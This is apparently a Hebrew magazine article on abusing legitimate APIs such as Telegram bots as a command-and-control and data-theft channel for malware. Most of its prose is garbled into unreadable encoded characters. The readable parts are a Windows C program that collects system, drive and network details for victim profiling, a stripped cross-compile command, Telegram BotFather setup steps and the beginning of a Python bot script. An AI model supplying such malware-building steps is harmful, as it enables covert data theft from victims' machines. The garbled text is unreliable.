ˢ˯ˡˮˢˢ ˶˞˷ˬ ˵˸ˣˮˬ˷ ˪˴ˣˬ ˧˯ˡˮˢ ˭ˣˠ˶˞˪ ˦˞˪ ˸ˣˮ˸˷ˢ˪ ˧ˣ˷˰ ˸ˣˣ˴ˢ ˪˷ ˪˶ˣˠˢˣ. 

 ˪˰ ˫˧˯ˡˮˢˬˢ ˫˰ ˡˣ˟˰˪ ˣ˲˧ˡ˰ˢ .ˡˣ˯˧ˢˬ ˢ˥˦˟˞ ˸ˣˣ˴ ˫˧ˮˣ˟ ˫˸˞ ˫˞ ˣˤˢ ˸ˣ˰˦ˢ ˸˞ ˣ˷˰˸ ˪˞

 ˨ˣ˲ˢ˪ ˧ˣˢ˧ˤ˪ ˣˮ˸˸ ˪˞ .˸˪˪ˣ˩ˢ ˢˮˣˬ˸ˢˬ ˡ˥˞ ˟˧˩˶˩ ˧ˣˢ˧ˤ˪ ˣ˯˥˧˧˸ˢˣ ,˨˶˰ ˧ˣˣ˷ ˢ˸˥˲ˢ ˸ˣˮˣ˶˸˲

 ˸˧˰ˣ˴˵ˬ ˢ˲ˣ˪˥˪ˣˮˡ˧˴ˬ ˢ˶˧˷˧ ˸ˣ˧˶˥˞ ˶˸ˣ˧ ˫˧˸˧˰˪ ˸˷˶ˣˡ˷ ,˶ˣ˴˧˧ ˸ˣˮˣ˶˸˲ ˪˰ ˢˡˣ˟˰˪ ˢ˥ˣ˦˟. 

 

˫ˣ˩˧˯ ˸ˣ˪˧ˬˣ ˫ˣ˧˯ 

 ˪˷ ˸ˣˬ˶˰ ˸˶˧˴˧ ˣ˞ ˫˧˴˴ˣˮ ˫˧˪˩ ˸˯˧˶˲ˬ ˵˶ ˢ˰˧ˠˬ ˞˪ ˢ˥˪˴ˢ˷ ˣˮˡˬ˪ ,˧ˣˢ˧ˤ ˸˯ˡˮˢ ˪˷ ˰ˣ˶˲ˢ ˫˪ˣ˰˟

 ˸ˣˣ˴ ˸˞ ˢ˲˧˴ˬ ˞˪˷ ˸˧ˠ˶ˡˬˣ ˸˟˷ˣ˥ˬ ˢ˷˧ˠ ˸˧˧ˮ˟˟ ˭ˣˬ˦ ˥˸˲ˬˢ ,˸˞ˤ ˫ˣ˵ˬ˟ .˸ˣ˞˶˸ˢ-sSOC 

 ˢ˴˧˲˵ ˧ˡ˧ ˪˰ˣ ,˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ ˯˧˯˟ ˪˰ ˢ˵ˤ˥ ˸˧˸˷˸ ˸˥˦˟ˢˬ .˯ˣ˞˩ ˸˶˴ˣ˧ ˣ˞ ˸ˣ˧ˣˠ˷ ˸ˣ˞˶˸ˢ˟

 ˡ˧˞ˣˮ˶˲ ˸ˣ˧ˢ˪ˣ ,ˢ˪ˣ˰˲ ˱ˣ˸˧˷ ,˭ˣˤ˧˞ ˪˷ ˭˧˧ˮ˰ ˞ˣˢ ˰˯ˬˢ ,˸˧˷˧˞ ˫˧ˬ˞˸ˣˬ ˫˧˧ˣˢ˧ˤ˪ ˸˧˸ˠ˶ˡˢ ˵ˣ˧ˡ˟

ˢˮˣ˩ˮˢ ˢˡ˧ˬ˟. 

ˠˬ ˢˤ ˫˧ˬˣ˧˞ ˸ˣˢˤ˪ :˶ˣ˩ˤ ,ˢ˰˧˵˷ˢ ˪˞ ˞˴ˣ˧ ˢ˸˞˷˩ ,˶˵˧ ˞˶ˣ˵ ,ˤ˞ ˪˷ ˸ˣ˧˲˷ˢ ˭ˣ˟˷˥ ˪˰ ˞˪ ˪˟˞ ,˟˧ˮ

 ˢ˷˵˟˟ˣ ,˶˷˲˞˷˩ ˢ˧˴ˬˣ˦ˣ˞ ,˭˦˵˟ ˪˥˸ˢ .˨˪˷ ˸ˣˣ˴ˢ-  ˸ˣˮ˲˪ ˷ˣ˪˷˟ ˶˶ˣ˰˸ˢ˪ ˢ˴ˣ˶ ˞˪ ˡ˥˞ ˱˞

˞ˣˣ˷ ˸˵˰ˤ˞ ˪˪ˠ˟ ˶˵ˣ˟. 

 

˪˰ ˶˟˥ˬˢ 

 ˶ˣ˸˟ ˡ˟ˣ˰ ,˭ˬ˲˧ˣ˵ ˪˞˧ˮˡDetection Research/Engineering ˟-MSSP ˵ˮ˟˟ ˭ˣ˧˯˧ˮ ˫˰ .˧ˬ˪ˣ˰Fortune 

500 ˫˧ˮˬˤˣˬ .˶˟˥˸ˢ˪ !˧˸˧˞ 

https://www.linkedin.com/in/daniel-koifman-61072218b/
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Exploiting Legitimate APIs for Data Theft 

˸˞ˬ ˡ˰˪˞ ˣˢ˧˰˷˧ 

 

ˢˬˡ˵ˢ 

˟˶ˬ˞ˬ ˫ˡˣ˵ˢ ˧˪˷ ˭˧ˤˠˬ˟ Σˣˮ˶˟˧ˡ ˪˰ ˢ˵˧ˮ˩˦ ˢ˟˷ ˧˟˸ˣ˩ ˸ˣ˵ˤˣˮ ˫˧˷ˬ˸˷ˬ ˪˰ ˸ˮˬ ˵ˬ˥˸ˢ˪ ˸ˣˮ˩ˣ˸ˬ 

πsAntivirus sxπEDR ˪˰ ˟˷˥ˬˢ Φˢ˵˧ˮ˩˦ ˢˮˣ˩ˬˢ ˫˷˟ WinAPI Hashing Φ˶ˬ˞ˬ˟ ˢˤ ˣˮ˞ ˶ˣ˵˯ˮ ˢ˦˧˷ 

ˢ˟˷ ˧˟˸ˣ˩ ˸ˣ˵ˤˣˮ ˫˧˷ˣ˰ ˷ˣˬ˧˷ ˪˰ ˸ˮˬ ˵ˣˬ˥˪ ˸ˮ˩ˣ˸ˬ sπFirewall ˸˧ˬˣ˵ˬˢ ˧˶˴ˣˬˣ sπFirewall sxπDLP 

˫˧˧ˮˣˠ˶˞ˢ Η˸˞ˤˣ ˨˶ˡ ˷ˣˬ˧˷ ˸ˣ˰˴ˬ˞˟ API's ˸ˣˬ˶ˣ˲˦˪˲ˣ ˸ˣ˧˦ˮ˶˦ˮ˧˞ ˸ˣˬ˧ˬ˸ ˱ˣ˸˧˷˪ ˰ˡ˧ˬ Φ 

˸˥˞ ˫˧˩˶ˡˢ ˫ˢ˟˷ ˭˸˧ˮ ˸ˣˢˤ˪ ˸ˣˠˢˮ˸ˢ ˢˡˣ˷˥ ˪˰ ˸ˣˡˬ˰ ˢ˴˵ Σ˞˧ˢ ˸ˣ˰˴ˬ˞˟ ˥ˣ˸˧ˮ ˧˯ˣ˲ˡ ˸˶ˣ˷˵˸ˢ 

˭ˢ˪˷ Σ˦˶˲˟ˣ π ˣ˪˧˞˪ ˸ˣ˟ˣ˸˩ ˳ˣ˥π˸ˣ˧ˮˣˠ˶˧˞ ˭s ˸ˣ˶˷˵˸ˬ Φ˫ˣ˧ˢ Σˣˮ˥ˮ˞ ˪˩˯˸ˮ ˪˰ ˸˟˧ˮˠ ˰ˡ˧ˬ ˟˷˥ˬˢˬ 

ˣ˸˥˧˪˷ˣ ˸ˣ˰˴ˬ˞˟ API ˢ˷ˣ˪˷˪ ˸ˣ˶ˣ˵ˬ ˫˧˧ˬ˧˦˧ˠ˪ ΥVirus Total ΣDiscord xπTelegramΦ 

˧ˮ˞ ˭ˣˣ˩˸ˬ ˶˧˟˯ˢ˪ ˧˦˶˲˪ ˫˧˦˶˲ ˸˞ ˪˩ ˫˧˥ˮˣˬˢ ˫˧˧ˠˣ˪ˣˮ˩˦ˢ ˣ˪˰˧˷ ˶ˬ˞ˬ˟ Σ˨˩ ˞˪˷ ˨˧˶˴ ˠˣ˞ˡ˪ Φ

˸ˮ˧˥˟ˬ ˡˣ˵ Υˡˣ˵ˢ ˶ˬ˞ˬ˟ ˢ˧ˢ˧ ˟ˣ˸˩ ˟π Cˢ˷˰ˮˣ ˟ˣˬ˧˷ ˟πWinAPI ύ˧ˬ ˞˪˷ ˶˧˩ˬ ˪ˣ˩˧ ˞ˣ˶˵˪ ˶ˬ˞ˬ˟ 

˭˧ˣ˴ˬˢ ˢ˪˰ˬ˪ ΣόPython π ˶ˬˣ˪˩ Σ˫˞ ˞˶ˣ˵ˢ ˰ˡ˧˧ ˸˞ ˸ˣ˲˷ˢ ˣ˪˪ˢ ˢ˧ˢ˧ x˪ ˶˸ˣ˧ ˪˵ ˭˧˟ˢ˪ ˶ˬ˞ˮˢ Σˤ˞ ˧ˢˣˤ 

˞˪ ˢ˟ˣ˥ Σ˭ˣˣ˧˩ ˶˧˟˯˞˷ ˪˩ ˶˟ˡ ˶˟ˡˣ ˟ˣ˸˩˞˷ ˶ˬ˞ˬ˟ ˢˤΦ 

 

ˣ˞ˣ˟ ˪˧˥˸ˮ ˫˰ ˫˧˥ˮˣˬ ˫˧˧˯˧˯˟ 

ˣˢˬconnection  нCΚ ˫˪ˣ˰˟ ˶˟˧˧˯ˢ ,(Command and Control) C2 connection ˯˥˧˧˸ˬ ˟ˣ˶˪ ˪ ˸˶˷

ˬˢ˶˷˵ ˭˧˟ ˸ˣ˵ˤˣˮ (Malware) ˫˧˪˧˰˲ˬ˪ ˭ˢ˪˷ Φ˭˞˩ Σ˶˷˵ˢ ˢˤˢ ˷ˬ˷ˬ ˸˞ ˫˧˶˵˞ˢˢ ˦ˣ˪˷˪ ˪˰ ˸ˣ˩˶˰ˬ 

˸ˣ˰ˣˠˮ ˥ˣ˪˷˪ˣ ˭ˢ˧˪˞ ˸ˣˡˣ˵˲ x˞ ˪˟˵˪ ˭ˢˬ ˰ˡ˧ˬ. 

ˣˢˬ System InfoΚ ˞ˣˢ ˥ˮˣˬ ˶˞˸ˬˢ ˰ˡ˧ˬ ˪˰ ˸˩˶˰ˬ ˟˷˥ˬ x˞ ˸˩˶˰ˬ ˢ˪˰˲ˢ Φˢˤ ˪˪ˣ˩ ˫˧˦˶˲ ˪˰ 

ˢ˶ˬˣ˥ˢ Σˢˮ˩ˣ˸ˢ ˸ˣ˶ˡˠˢˢˣ ˪˷ ˟˷˥ˬˢ Φˢˤ ˰ˡ˧ˬˢ ˣˮ˥ˮ˞˷ ˟ˣˮˠˮ ˫˧˟˷˥ˬˢˬ ˫ˢ˧˪˰ ˳˶ˣˬ ˯ˣ˶˧ˣˢ Σ˞ˣˢˣ 

˪˧˩˧ π  

 Host Nameπ ˫˷ ˟˷˥ˬˢ x˞ ˸˶˷ˢ ˸˷˶˟ Σˢˢˤˬ ˧ˡˣ˥˧˧ ˟˷˥ˬ˪. 

 OS Versionπ ˸˯˶ˠ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Σ˪˪ˣ˩ ˶˲˯ˬ ˢ˯˶ˠ ˧˷˞˶ Σ˧ˮ˷ˬ Σ˶˲˯ˬˣ ˢ˧˧ˮ˟. 

https://www.digitalwhisper.co.il/files/Zines/0x96/DW150-4-WinAPI-Hashing.pdf
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 - Processor Architecture˸˶ˣ˦˵˦˧˩˶˞ ˡ˟˰ˬˢ Σ˸˶˞˸ˬˢ ˸˞ ˠˣ˯ ˡ˟˰ˬˢ ˫˧˥ˮˣˬ˟ ˪˷ онπbit x˞ сп-bit. 

 - Number of Processors˶˲˯ˬ ˫˧ˡ˟˰ˬˢ ˫˧˧ˤ˧˲ˢ ˸˩˶˰ˬ˟ Σ˪˪ˣ˩ ˪˩ ˫˧ˡ˟˰ˬˢ x˞ ˸ˣ˟˧˪. 

 Logical Drivesπ ˢˢˤˬ ˪˷ ˫˧ˮˮˣ˩ˢ ˫˧˧ˠˣ˪ˢ ˟˷˥ˬ˟ Σ˦ˬ˶ˣ˲˟ ˧˪ˬ˧˴ˡ˯˵ˢ. 

 Adapter Nameπ ˫˷ ˫˞˸ˬ ˸˷˶ˢ Σˢˢˤˬ ˧ˡˣ˥˧˧ ˪˩˪ ˫˞˸ˬ ˸˷˶. 

 IP Addressπ ˸˟ˣ˸˩ sπIP ˪˷ ˫˞˸ˬˢ Σˢˢˤˬ ˸˞ ˟˷˥ˬˢ ˸˷˶˟ . 

 - Subnet Mask˸˩˯ˬ ˦ˮ˟˞˯ˢ ˢˡ˧˶˲ˬˢ ˭˧˟ ˵˪˥ˢ ˠ˴˧˧ˬˢ ˸˞ ˸˷˶ˢ ˸˞ˣ ˟˷˥ˬˢ ˸˟ˣ˸˩˟ sπIPΦ 

 - MAC Address˸˟ˣ˸˩ s MAC-˪˷ ˫˞˸ˬˢ Σˢˢˤˬ ˧ˡˣ˥˧˧ ˯˧˦˶˩˪ ˸˷˶. 

API π  Application Programming Interface˞ˣˢ ˦˯ ˪˷ ˫˧˪˪˩ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ ˫˧˶˷˲˞ˬˢ ˸ˣˮ˩ˣ˸˪ ˶˷˵˸˪ 

ˣˤ ˫˰ xʕ Σ˱˧˪˥ˢ˪ ˰ˡ˧ˬ ˰˴˟˪ˣ ˸ˣ˪ˣ˰˲ ˸ˣ˰˴ˬ˞˟ ˵˷ˬˬ ˶ˡˠˣˬ ˷˞˶ˬ. 

˧ˮ˞ ˦˪˥ˢ˟ ˢˣˣ˵ˬ ˞˪˷ ˧˸˯˲˯˲ ˣˢ˷ˬ Σ˫˞ ˭˩ π ˫˧˪˷ˮ ˶˟ˡˮ˷˩ ˪˰ ˨˧˞ ˯ˣ˶˧ˣˢ ˣˬ˴˰ ˡ˟ˣ˰Φ 

 

ˤ˞ ˨˧˞ ˫˧˟ˮˣˠ ˰ˡ˧ˬ ˫˰ Telegram Bot?  

Telegram 

˫˶ˠ˪˦ ύhttps://web.telegram.org/k ό˞˧ˢ ˸˧˧˴˵˧˪˲˞ ˫˧˶˯ˬ ˫˧˧ˡ˧˧ˬ ˢ˵˷ˣˢ˷ ˟πнлмо ˪˰ ˧ˡ˧ ˫˧˥˞ˢ 

˧˞˪ˣ˵˧ˮ ˪˟˞˲ˣ ˟ˣ˶ˣˡ Σˢ˰˧˴ˬˣ ˭ˣˣˠˬ ˸ˣˮˣ˩˸ ˭ˣˠ˩ ˴ϥ˦˞ ˧˷˧˞ ˧˸˴ˣ˟˵ˣ Σ˫˧˴ˣ˶˰ ˸˶˟˰ˢ˪ ˭˩ˣ˸ Σ˸ˣ˰ˡˣˢˣ ˸ˣ˧ˡˣ˯ 

˫˰ ˢˮ˲˴ˢ ˢ˴˵ˬ ˢ˴˵˪ Φˢ˧˴˵˧˪˲˞ˢ ˸˶˷˲˞ˬ ˸˶˟˰ˢ ˫˧˴˟˵ ˫˧˪ˣˡˠ Σ˸ˣ˥˧˷ ˪ˣ˵ ˣ˞ˡ˧ˣˣ Σ˸˪˪ˣ˩ˣ ˫˧˦ˣ˟ 

˪ˣ˰˲˸˪ ˧˦ˬˣ˦ˣ˞ Φ˭ˣ˶˸˧ˢ ˪˷ ˫˶ˠ˪˦ ˞ˣˢ ˟ˣ˪˧˷ˢ ˭˧˟ ˸ˣ˧˦˶˲ ˢˢˣ˟ˠ Σ˸ˣ˷˧ˬˠ ˫˧˸ˣ˶˧˷ˣ ˫˧ˬˡ˵˸ˬ Σˢˬ 

˨˲ˣˢ˷ ˢ˸ˣ˞ ˸˧˷ˣˬ˧˷˪ ˭s ˫˧˩˶˴˪ ˫˧˧˷˧˞ ˣˬ˩ ˸ˣ˥˧˷ ˫˰ ˫˧˶˟˥ ˭ˢˣ ˫˧˩˶˴˪ ˫˧˧˰ˣ˴˵ˬ ˣˬ˩ ˪ˣˢ˧ˮ ˸ˣ˴ˣ˟˵ 

ˢˡˣ˟˰ ˱ˣ˸˧˷ˣ ˰ˡ˧ˬ. 

˦ˣ˟ ˪˷ ˫˶ˠ˪˦ ˞ˣˢ ˫ˣ˷˧˧ ˧˦ˬˣ˦ˣ˞ ˪˰ˣ˲ˬˢ ˨ˣ˸˟ ˸˧˧˴˵˧˪˲˞ ˫˶ˠ˪˦ ˰˴˟ˬˣ ˭ˣˣˠˬ ˸ˣ˪ˣ˰˲ ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ 

ˣ˞ ˸˧˟˧˦˵˞˶˦ˮ˧˞ Φ˫˧˦ˣ˟ ˫˧˪ˣ˩˧ ˰˴˟˪ ˸ˣˬ˧˷ˬ ˸ˣˮˣ˷ ˣˬ˩ ˭˸ˬ ˰ˡ˧ˬ ˭ˬˤ˟ ˸ˬ˞ Σ˪ˣˢ˧ˮ ˸ˣ˴ˣ˟˵ Σ˰ˣ˴˧˟ 

˫˧˷ˣ˲˧˥ ˦ˮ˶˦ˮ˧˞˟ Σˢ˥˧˪˷ ˸˧˦ˬˣ˦ˣ˞ ˪˷ ˸ˣ˰ˡˣˢ Σˢ˧˴˵˞˶˦ˮ˧˞ ˫˰ ˫˧˷ˬ˸˷ˬ ˸ˣ˰˴ˬ˞˟ ˫˧˦˧˶˲˸ 

˫˧ˮ˴˥˪ˣ Σˡˣ˰ˣ Φ˫ˢ ˫˧˟˸˩ˮ ˸ˣ˰˴ˬ˞˟ API ˪˷ ˫˶ˠ˪˦ ˫˧ˡ˰ˣ˧ˬˣ ˠ˶ˡ˷˪ ˸˞ ˸˧ˣˣ˥ ˷ˣˬ˧˷ˢ ˢ˧˴˵˧˪˲˞˟ Σ

˪˵ˢ˪ ˪˰ ˪ˣˢ˧ˮ ˰ˡ˧ˬ ˸˶ˣ˷˵˸ˣ Σ˰˧˴ˢ˪ˣ ˸ˣˮˣ˶˸˲ ˫˧ˬ˞˸ˣˬ ˸˧˷˧˞ ˫˞˸ˢ˟ ˫˧˩˶˴˪ ˪˷ ˫˧˷ˬ˸˷ˬˢ x˞ 

˫˧ˮˣˠ˶˞ˢ. 

  

https://web.telegram.org/k/
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ˤ˞ ˨˧˞ ˷ˬ˸˷ˮ x˟ ˧ˡ˩ ˟ˣˮˠ˪ ˰ˡ˧ˬ ˟˷˥ˬˢˬΚ ˣ˞ˣ˟ ˢ˞˶ˮ ˫ˡˣ˵ ˢˬ ˰ˡ˧ˬˢ ˣˮ˥ˮ˞˷ ˫˧˟ˮˣˠ ύ˫˧˶˩ˣˤ ˸˞ s-

system info?όΥ 

#include <windows.h>  
#include <stdio.h>  
#include <iphlpapi.h>  
 
#pragma comment(lib, "iphlpapi.lib")  
 
int main() {  
    char systemInfo[ 4096];  
     
    // Get host name  
    CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];  
    DWORD size = sizeof (hostName) / sizeof (hostName[ 0]);  
    GetComputerNameA(hostName, &size);  // Use GetComputerNameA for CHAR  
 
    // Get OS version  
    OSVERSIONINFO osVersion; 
    osVersion.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 
    GetVersionEx (&osVersion);  
 
    // Get system information  
    SYSTEM_INFO sysInfo;  
    GetSystemInfo (&sysInfo);  
 
    // Get logical drive information  
    DWORD drives = GetLogicalDrives ();  
 
    // Get IP address  
    IP_ADAPTER_INFO adapterInfo[ 16];  // Assuming there are no more than 16 adapters  
    DWORD adapterInfoSize = sizeof (adapterInfo);  
    if ( GetAdaptersInfo (adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {  
        printf ( "GetAdaptersInfo failed. Error: %d has occurred. \ n" , GetLastError ());  
        return 1;  // Return non - zero to indicate error  
    }  
 
    snprintf (systemInfo, sizeof (systemInfo),  
        "Host Name: %s\ n"  
        "OS Version: %d. %d. %d\ n"  
        "Processor Architecture: %d\ n"  
        "Number of Processors: %d\ n"  
        "Logical Drives: %X\ n" ,  
        hostName, 
        osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,  
        sysInfo.wProcessorArchitecture,  
        sysInfo.dwNumberOfProcessors,  
        drives);  
 
    // Print IP address information  
    for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter - >Next) {  
        snprintf (systemInfo + strlen (systemInfo), sizeof (systemInfo) -  strlen (systemInfo),  
            "Adapter Name: %s\ n"  
            "IP Address: %s\ n"  
            "Subnet Mask: %s\ n"  
            "MAC Address: %02X- %02X- %02X- %02X- %02X- %02X\ n" ,  
            adapter - >AdapterName,  
            adapter - >IpAddressList.IpAddress.String,  
            adapter - >IpAddressList.IpMask.String,  
            adapter - >Address[ 0], adapter - >Address[ 1], adapter - >Address[ 2],  
            adapter - >Address[ 3], adapter - >Address[ 4], adapter - >Address[ 5]);  
    }  
 
    // Print the  system information to the console  
    printf ( " %s" , systemInfo);  
 
    return 0;  // Return zero to indicate success  
}  
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˶˟˯ˢ ˶˴˵ ˪˰ ˡˣ˵ˢ: 

¶ ˡˣ˵ˢ ˪˪ˣ˩ ˸˞ ˸ˣ˧˶˲˯ˢ ˸ˣ˷ˣ˶ˡˢ ˢˡˣ˟˰˪ ˫˰ Windows API ˸˷ˠ˪ˣ ˰ˡ˧ˬ˪ ˪˰ ˟˷˥ˬˢ ˸ˣ˸˷˶ˣ. 

¶ ˢ˧˴˵ˮˣ˲ˢGetComputerNameA  ˢˠ˧˷ˬ ˸˞ ˫˷ ˟˷˥ˬˢ ˧˥˩ˣˮˢ ˸ˮ˯˥˞ˬˣ ˣ˸ˣ˞ ˨˶˰ˬ˟ hostnameΦ 

¶ ˢ˧˴˵ˮˣ˲ˢ GetVersionEx ˢˠ˧˷ˬ ˸˞ ˸˯˶ˠ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˸˧˥˩ˣˮˢ ˸ˮ˯˥˞ˬˣ ˢ˸ˣ˞ ˢˮ˟ˬ˟ 

osVersionΦ 

¶ ˢ˧˴˵ˮˣ˲ˢGetSystemInfo  ˸˲˯ˣ˞ ˰ˡ˧ˬ ˪˰ ˸˶ˬˣ˥ ˟˷˥ˬˢ Σ˪˪ˣ˩ ˸˶ˣ˦˵˦˧˩˶˞ ˡ˟˰ˬˢ ˶˲˯ˬˣ 

˫˧ˡ˟˰ˬˢ. 

¶ ˢ˧˴˵ˮˣ˲ˢ GetLogicalDrives ˢ˶˧ˤ˥ˬ ˰ˡ˧ˬ ˪˰ ˫˧ˮˮˣ˩ˢ ˫˧˧ˠˣ˪ˢ ˟˷˥ˬ˟. 

¶ ˢ˧˴˵ˮˣ˲ˢGetAdaptersInfo  ˸˲˯ˣ˞ ˰ˡ˧ˬ ˪˰ ˧ˬ˞˸ˬ ˸˷˶ˢ ˫˧ˮ˵˸ˣˬˢ ˟˷˥ˬ˟ Φ˫˞ ˢ˧˴˵ˮˣ˲ˢ 

˸˪˷˩ˮ Σ˸˯˲ˡˣˬ ˸˰ˡˣˢ ˢ˞˧ˠ˷ ˢ˧˴˵ˮˣ˲ˢˣ ˢ˶˧ˤ˥ˬ ˨˶˰ ˢ˞˧ˠ˷. 

¶ ˢ˧˴˵ˮˣ˲ˢsnprintf  ˢˠ˧˷ˬ ˸˞ ˰ˡ˧ˬˢ ˱˯˞ˮ˷ Σ˸˟˴˰ˬ ˣ˸ˣ˞ ˸ˮ˯˥˞ˬˣ ˣ˸ˣ˞ ˨˶˰ˬ˟ systemInfoΦ 

¶ ˢ˧˴˵ˮˣ˲ˢ printf ˢ˯˧˲ˡˬ ˸˞ ˰ˡ˧ˬˢ ˱˯˞ˮ˷ ˡ˟ˣ˰ˣ ˷ˬ˸˷ˬ˪.  

˭˲ˣ˞˟ ˧˪˪˩ Σˡˣ˵ˢ ˱˯ˣ˞ ˰ˡ˧ˬ ˸˩˶˰ˬ ˧˦ˮˣˣ˪˶ ˠ˧˴ˬˣ ˣ˸ˣ˞ ˦ˬ˶ˣ˲˟ ˞˧˶˵ ˨˯ˬ˟. 

˪ˣ˲ˬ˵˪ ˳˟ˣ˵ˢ ˟πKali LinuxΥ 

x86_64- w64- mingw32- g++ - O2 system_info.c - o system_info.exe - I /usr/share/mingw -
w64/include/ - s - ffunction - sections - fdata - sections - Wno- write - strings - fno - exceptions 
- fmerge - all - constants - static - libstdc ++ - static - libgcc - fpermissive - liphlpapi  

:˶˟˯ˢ ˭˪ˢ˪ˣ 

¶ x86_64-w64-mingw32-g++ Υ˶ˡˢˬ C++ ˪˷ GCC ˶ˣ˟˰ Windows ˸˯˶ˠ˟ bitπспΦ 

¶ -O2Υ ˪ˠˡ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞˪ ˢˬ˶˟ н ˶ˣ˲˧˷˪ ˫˧˰ˣ˴˧˟ˢ ˪˷ ˡˣ˵ˢ. 

¶ system_info.c Υ˳˟ˣ˵ ˡˣ˵ˢ C ˢ˸˞˷ ˢ˴ˣ˶ ˪˲ˬ˵˪. 

¶ -o system_info.exe Υ˫˷ ˳˟ˣ˵ˢ ˦˪˲ˢ ˶˴ˣˮ˷ ˶˥˞˪ ˢ˧˴˪˧˲ˬˣ˵ˢ. 

¶ -I /usr/share/mingw-w64/include/Υ ˫ˣ˵˧ˬ ˸˧˧˵˧˸ ˸ˣ˶˸ˣ˩ˢ ˷ˣ˲˧˥˪ ˧˴˟˵ ˸ˣ˶˸ˣ˩ ˫˧˲˯ˣˮ. 

¶ -s Υ˸˶˯ˢ ˰ˡ˧ˬ ˱˯ˣˮ ˳˟ˣ˵ˢˬ ˶˴ˣ˟ˬˢ (debug symbols) ˫ˣ˴ˬ˴˪ ˪ˡˣˠˢ. 

¶  :-ffunction-sections˸˟˴ˢ ˸ˣ˧˴˵ˮˣ˲ ˫˧˪˪˥˟ ˫˧ˡ˶˲ˮ ˧ˣˢ˧ˤ˪ ˨ˣ˸˧˥ ˡˣ˵ ˞˪ ˷ˣˬ˧˷˟. 

¶  :-fdata-sections˸˟˴ˢ ˫˧ˮ˸˷ˬ ˫˧˧˪˟ˣ˪ˠ ˫˧˪˪˥˟ ˫˧ˡ˶˲ˮ ˨ˣ˸˧˥˪ ˫˧ˮˣ˸ˮ ˞˪ ˷ˣˬ˧˷˟. 

¶ :-Wno-write-strings ˸˰˧ˮˬ ˸ˣ˶ˢˤ˞ ˪˰ ˢ˟˧˸˩ ˫˧˩˶˰ˬ˪ ˪˷ ˫˧˶˸˧ˬ ˫˧˰ˣ˟˵. 

¶ -fno-exceptions Υ˸˰˧ˮˬ ˷ˣˬ˧˷ ˟Exceptions- ˶ˣ˲˧˷˪ ˫˧˰ˣ˴˧˟ ˪ˡˣˠˣ ˡˣ˵ˢ. 

¶ -fmerge-all-constants Υˠˣˤ˧ˬ ˫˧˰ˣ˟˵ ˫˧˲˸ˣ˷ˬ ˫ˣ˴ˬ˴˪ ˪ˡˣˠ ˡˣ˵ˢ. 

¶ -static-libstdc++ Υ˶ˣ˷˧˵ ˧˦˦˯ ˸˧˧˶˲˯˪ s-Standard C++ (libstdc++)Φ 

¶ -static-libgcc Υ˶ˣ˷˧˵ ˧˦˦˯ ˸˧˧˶˲˯˪ GCC (libgcc) Φ 

¶ -fpermissive Υ˸˸˥˲ˢ ˸ˣˮˡ˲˵ˢ ˪˷ ˶ˡˢˬˢ ˪˰ ˸ˣ˧ˣ˰˦ ˶˧˟˥˸. 

¶  :-liphlpapi˶ˣ˷˧˵ ˸˧˧˶˲˯˪ iphlpapi.lib-˨˶ˣ˴˪ ˷ˣˬ˧˷ ˸ˣ˧˴˵ˮˣ˲˟ IP Helper APΦ 
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ˮ˵˧˸˰ ˸˞ ˳˟ˣ˵ s-exe ˶˴ˣˮ˷ ˸ˮˣ˩ˬ˪ Windows Σ˳˧˶ˮˣΥ 

 

ˣ˞ˣ˟ ˶ˣ˴˧ˮ ˦ˣ˟ 

˪˧˟˷˟ ˶ˣ˴˧˪ ˦ˣ˟ ˪˷ ˫˶ˠ˪˦  - ˨˪ˮ ˸˟ˣ˸˩˪ ˢ˞˟ˢ Υ  .https://telegram.me/BotFather ˷˧ ˟ˣ˸˩˪ ˸˞ 
˸ˣˡˣ˵˲ˢ ˸ˣ˞˟ˢ ˧ˡ˩ ˶ˣ˴˧˪ ˸˞ ˦ˣ˟ˢΥ / newbot 

{ name_of_the_bot }  
{ username_for_the_bot }  

ˢ˞˶ˮ ˨˶˰˟ ˢ˩˩ Υ 

 

https://telegram.me/BotFather
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ˣ˞ˣ˟ ˢ˞˶ˮ ˨˧˞ ˫˧˪˧˰˲ˬ ˣ˸ˣ˞ 

ˣˮ˧˵˸ˢ ˸˞ ˢ˧˧˶˲˯ˢ python-telegram-bot ˸ˣ˰˴ˬ˞˟ pipΥ 

 

˧˪˴˞ ˢˤ ˶˟˩ ˭˵˸ˣˬ Σ˪˟˞ ˸˞ˤ ˢˡˣ˵˲ˢ ˨˧˶˴˷ ˳˧˶ˢ˪ Φ˶˥˞˪ ˭˩ˬ Σ˷˧ ˟ˣ˸˩˪ ˸˞ ˳˟ˣ˵ˢ ˭ˣ˸˧˧˲ˢ ˷ˬˬ˷ ˳˧˶˧ 

˸˞ ˦ˣ˟ˢ ύ˧ˮ˞ ˧˸˞˶˵ x˪ mybot.py Φόˣ˞ˣ˟ ˢ˞˶ˮ ˢˬ ˟ˣ˸˩ ˫˷Υ 

#!/usr/bin/env python  
# pylint: disable=unused - argument  
 
import logging  
from telegram import ForceReply, Update  
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters  
 
# Set up logging to output information to the console  
logging. basicConfig (  
    format =" %(asctime)s -  %(name)s -  %(levelname)s -  %(message)s" ,  
    level =logging.INFO  
)  
# Adjust logging level for httpx to reduce verbosity  
logging. getLogger ( "httpx" ). setLevel (logging.WARNING)  
 
logger = logging. getLogger (__name__) 
 
async def start ( update : Update, context : ContextTypes.DEFAULT_TYPE) - > None:  
    """  
    Handles the /start command.  
 
    Sends a welcome message when the /start command is issued.  
     
    Args:  
        update (Update): Contains information about the incoming update.  
        context (ContextTypes.DEFAULT_TYPE): Provides context for the ha ndler.  
    """  
    user = update.effective_user  
    await update.message. reply_html (  
        rf "Hi {user. mention_html ()} !" ,  
        reply_markup =ForceReply ( selective =True ),  
    )  
 
async def help_command( update : Update, context : ContextTypes.DEFAULT_TYPE) - > None:  
    """  
    Handles the /help command.  
 
    Sends a help message when the /help command is issued.  
     
    Args:  
        update (Update): Contains information about the incoming update.  
